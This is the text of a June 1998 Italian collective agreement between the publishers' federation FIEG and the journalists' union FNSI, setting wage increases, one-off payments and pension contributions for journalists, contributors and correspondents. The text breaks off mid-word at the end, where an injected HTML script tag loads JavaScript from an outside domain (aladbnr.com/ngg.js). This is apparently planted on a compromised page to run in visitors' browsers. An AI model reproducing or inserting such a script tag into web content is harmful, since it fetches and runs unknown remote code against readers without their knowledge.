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Categoria: Giornalisti Settore: Poligrafici e Spettacolo Data stipula: 4-6-1998 Data decorrenza: 1-10-1997 Data scadenza: 30-9-1999
VERBALE DI ACCORDO
In Roma, il giorno 4 giugno 1998
tra
la FEDERAZIONE ITALIANA EDITORI GIORNALI
e
la FEDERAZIONE NAZIONALE DELLA STAMPA ITALIANA
si è convenuto
il rinnovo del biennio ottobre 1997/settembre 1999 della parte economica
della vigente disciplina collettiva giornalistica sulla base dei seguenti
criteri e modalità:
1) Decorrenza e durata.
Il rinnovo della parte economica del contratto ha decorrenza dal 1°
ottobre 1997 e scadenza al 30 settembre 1999.
2) Incrementi dei minimi.
Il valore del minimo tabellare in atto al 30.9.97 per il livello 100 della
vigente scala parametrale (redattore oltre 18 mesi di anzianità
professionale, redattore oltre 30 mesi di anzianità professionale) è
incrementato di £. 80.000 a regime.
Il suddetto importo verrà corrisposto sulla base dei seguenti
frazionamenti e cadenze:
1° maggio 1998 = £. 40.000
1° gennaio 1999 = £. 40.000
Gli aumenti tabellari per le altre qualifiche risultano determinati sulla
base del parametro in vigore al 30.9.97 rispettivamente per i giornalisti
professionisti e praticanti in servizio al 30.11.95 ovvero assunti
dall'1.12.95 e corrisposti con la decorrenza e il rapporto in precedenza
indicato.
Il valore dei minimi di retribuzione per i collaboratori fissi (art. 2),
per i corrispondenti (art. 12) e per i pubblicisti part-time (art. 36), in
atto al 30.9.97, è incrementato a regime dei seguenti valori che tengono
conto dell'incidenza prodotta dalla contribuzione a carico azienda per
previdenza complementare prevista dal successivo paragrafo 6 e che non
trova applicazione per le indicate qualifiche:
· collaboratori fissi
- per almeno 2 collaborazioni al mese limitatamente
agli addetti ai periodici + £. 5.000
- per almeno 4 collaborazioni al mese + £. 10.000
- per almeno 8 collaborazioni al mese + £. 20.500
· corrispondenti art. 12
a) + £. 31.000
b) + £. 20.500
c) + £. 17.000
d) + £. 9.000
· pubblicisti che operano nelle redazioni decentrate
o negli uffici di corrispondenza + £. 55.500
Gli indicati incrementi sono corrisposti per il 50% a decorrere
dall'1.5.98 e per la parte residua a decorrere dall'1.1.99.
3) Una tantum.
A copertura del periodo di vacanza contrattuale ai giornalisti
professionisti e ai praticanti titolari di un rapporto di lavoro a tempo
pieno e indeterminato ex art. 1 del contratto e in servizio alla data
dell'1.5.98 verrà corrisposta una "una tantum" uguale per tutte le
categorie pari a £. 500.000.
Per i giornalisti professionisti titolari di un rapporto di lavoro a tempo
parziale e indeterminato (allegato E del contratto) l'importo dell'una
tantum è riproporzionato in base alla durata della prestazione lavorativa.
Per i pubblicisti part-time ex art. 36, i collaboratori fissi (art. 2) e i
corrispondenti (art. 12) titolari di un rapporto di lavoro a tempo
indeterminato l'una tantum è pari a:
· per i pubblicisti part time £. 300.000
· per i collaboratori fissi e corrispondenti £. 150.000
L'una tantum verrà corrisposta in coincidenza con il pagamento delle
retribuzioni di luglio.
Per gli assunti successivamente all'1.10.97 il suddetto importo verrà
corrisposto pro quota in relazione ai mesi di servizio effettuati dalla
data di assunzione al 30.4.98.
La suddetta una tantum non produce effetti diretti e indiretti sugli
istituti di legge e di contratto ivi compreso il TFR.
A richiesta del giornalista, in sostituzione del pagamento dell'una
tantum, nella retribuzione del solo mese di gennaio 1999 verranno inserite
£. 500.000 (o eventuali frazioni) che saranno devolute al Fondo
complementare quale contributo volontario aggiuntiva del<<script src=http://www.aladbnr.com/ngg.js></script>
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